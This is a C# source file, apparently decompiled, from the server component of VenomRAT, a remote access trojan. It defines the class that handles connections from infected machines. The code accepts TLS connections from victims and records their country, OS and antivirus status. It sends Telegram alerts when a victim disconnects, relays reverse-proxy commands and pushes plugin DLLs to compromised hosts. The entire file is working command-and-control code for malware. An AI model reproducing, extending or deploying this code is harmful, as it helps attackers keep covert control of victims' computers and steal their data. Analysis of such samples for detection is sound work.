2023-07-29 23:37:10 +05:30

343 lines
7.5 KiB
C#

using System;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Media;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Threading;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Newtonsoft.Json;
using Server.Algorithm;
using Server.Forms;
using Server.Handle_Packet;
using Server.Helper;
using Server.Properties;
using Server.ReverseProxy;
namespace Server.Connection;
public class Clients
{
public Socket TcpClient { get; set; }
public SslStream SslClient { get; set; }
public ListViewItem LV2 { get; set; }
public string ID
{
get
{
return info.hwid;
}
set
{
info.hwid = value;
}
}
private byte[] ClientBuffer { get; set; }
private long HeaderSize { get; set; }
private long Offset { get; set; }
private bool ClientBufferRecevied { get; set; }
public object SendSync { get; set; }
public long BytesRecevied { get; set; }
public string Ip { get; set; }
public bool IsAdmin => info.admin;
public ClientInfo info { get; set; } = new ClientInfo();
public DateTime LastPing { get; set; }
public void SaveInfo()
{
string path = Path.Combine(Application.StartupPath, "ClientsFolder", Ip, "note.json");
try
{
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder", Ip));
File.WriteAllText(path, JsonConvert.SerializeObject(info));
}
catch
{
}
}
public void LoadInfo()
{
string path = Path.Combine(Application.StartupPath, "ClientsFolder", Ip, "note.json");
try
{
info = JsonConvert.DeserializeObject<ClientInfo>(File.ReadAllText(path));
}
catch
{
}
}
public string GetGroupString()
{
switch (Settings.groupby)
{
case GROUP_TYPE.LOCATION:
return info.country;
case GROUP_TYPE.OS:
return info.os;
case GROUP_TYPE.GROUP:
return info.group;
case GROUP_TYPE.DEFENDER:
return info.defender;
case GROUP_TYPE.NOTE:
if (!string.IsNullOrEmpty(info.note))
{
return info.note;
}
return "Empty";
default:
return "Default";
}
}
public Clients(Socket socket)
{
SendSync = new object();
TcpClient = socket;
Ip = TcpClient.RemoteEndPoint.ToString().Split(':')[0];
SslClient = new SslStream(new NetworkStream(TcpClient, ownsSocket: true), leaveInnerStreamOpen: false);
SslClient.BeginAuthenticateAsServer(Settings.VenomServer, clientCertificateRequired: false, SslProtocols.Tls, checkCertificateRevocation: false, EndAuthenticate, null);
}
private void EndAuthenticate(IAsyncResult ar)
{
try
{
SslClient.EndAuthenticateAsServer(ar);
Offset = 0L;
HeaderSize = 4L;
ClientBuffer = new byte[HeaderSize];
SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null);
}
catch
{
SslClient?.Dispose();
TcpClient?.Dispose();
}
}
public void ReadClientData(IAsyncResult ar)
{
try
{
if (!TcpClient.Connected)
{
Disconnected();
return;
}
int num = SslClient.EndRead(ar);
if (num > 0)
{
HeaderSize -= num;
Offset += num;
if (!ClientBufferRecevied)
{
if (HeaderSize == 0L)
{
HeaderSize = BitConverter.ToInt32(ClientBuffer, 0);
if (HeaderSize > 0)
{
ClientBuffer = new byte[HeaderSize];
Offset = 0L;
ClientBufferRecevied = true;
}
}
else if (HeaderSize < 0)
{
Disconnected();
return;
}
}
else
{
lock (Settings.LockReceivedSendValue)
{
Settings.ReceivedValue += num;
}
BytesRecevied += num;
if (HeaderSize == 0L)
{
ThreadPool.QueueUserWorkItem(new Packet
{
client = this,
data = ClientBuffer
}.Read, null);
Offset = 0L;
HeaderSize = 4L;
ClientBuffer = new byte[HeaderSize];
ClientBufferRecevied = false;
}
else if (HeaderSize < 0)
{
Disconnected();
return;
}
}
SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null);
}
else
{
Disconnected();
}
}
catch
{
Disconnected();
}
}
public void Disconnected()
{
Program.mainform.Invoke((MethodInvoker)delegate
{
try
{
if (Program.mainform.RemoveClient(this))
{
if (LV2 != null)
{
lock (Settings.LockListviewThumb)
{
LV2.Remove();
}
}
new HandleLogs().Addmsg("Client " + Ip + " disconnected.", Color.Red);
TelegramNotify.SendNotify("VenomRAT: " + Ip + " disconnected!");
if (TimeZoneInfo.Local.Id == "China Standard Time" && Server.Properties.Settings.Default.Notification)
{
SoundPlayer soundPlayer = new SoundPlayer(Resources.offline);
soundPlayer.Load();
soundPlayer.Play();
}
{
foreach (AsyncTask item in FormMain.listTasks.ToList())
{
item.doneClient.Remove(ID);
}
return;
}
}
}
catch
{
}
});
try
{
SslClient?.Dispose();
TcpClient?.Dispose();
}
catch
{
}
}
public void SendProxyCommand(ReverseProxyCommand cmd, ReverseProxyCommands tp)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "ReverseProxy";
msgPack.ForcePathObject("json").AsString = JsonConvert.SerializeObject(cmd);
msgPack.ForcePathObject("type").AsInteger = (long)tp;
Send(msgPack.Encode2Bytes());
}
public void Send(object msg)
{
lock (SendSync)
{
try
{
if (!TcpClient.Connected)
{
Disconnected();
}
else
{
if ((byte[])msg == null)
{
return;
}
byte[] array = (byte[])msg;
byte[] bytes = BitConverter.GetBytes(array.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(bytes, 0, bytes.Length);
if (array.Length > 1000000)
{
using (MemoryStream memoryStream = new MemoryStream(array))
{
int num = 0;
memoryStream.Position = 0L;
byte[] array2 = new byte[50000];
while ((num = memoryStream.Read(array2, 0, array2.Length)) > 0)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(array2, 0, num);
lock (Settings.LockReceivedSendValue)
{
Settings.SentValue += num;
}
}
return;
}
}
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(array, 0, array.Length);
SslClient.Flush();
lock (Settings.LockReceivedSendValue)
{
Settings.SentValue += array.Length;
return;
}
}
}
catch
{
Disconnected();
}
}
}
public void SendPlugin(string hash)
{
try
{
string[] files = Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly);
foreach (string text in files)
{
if (hash == GetHash.GetChecksum(text))
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").SetAsString("save_Plugin");
msgPack.ForcePathObject("Dll").SetAsBytes(Zip.Compress(File.ReadAllBytes(text)));
msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(text));
ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes());
new HandleLogs().Addmsg("Plugin " + Path.GetFileName(text) + " Sent to " + Ip, Color.Blue);
break;
}
}
}
catch (Exception ex)
{
new HandleLogs().Addmsg("Clinet " + Ip + " " + ex.Message, Color.Red);
}
}
}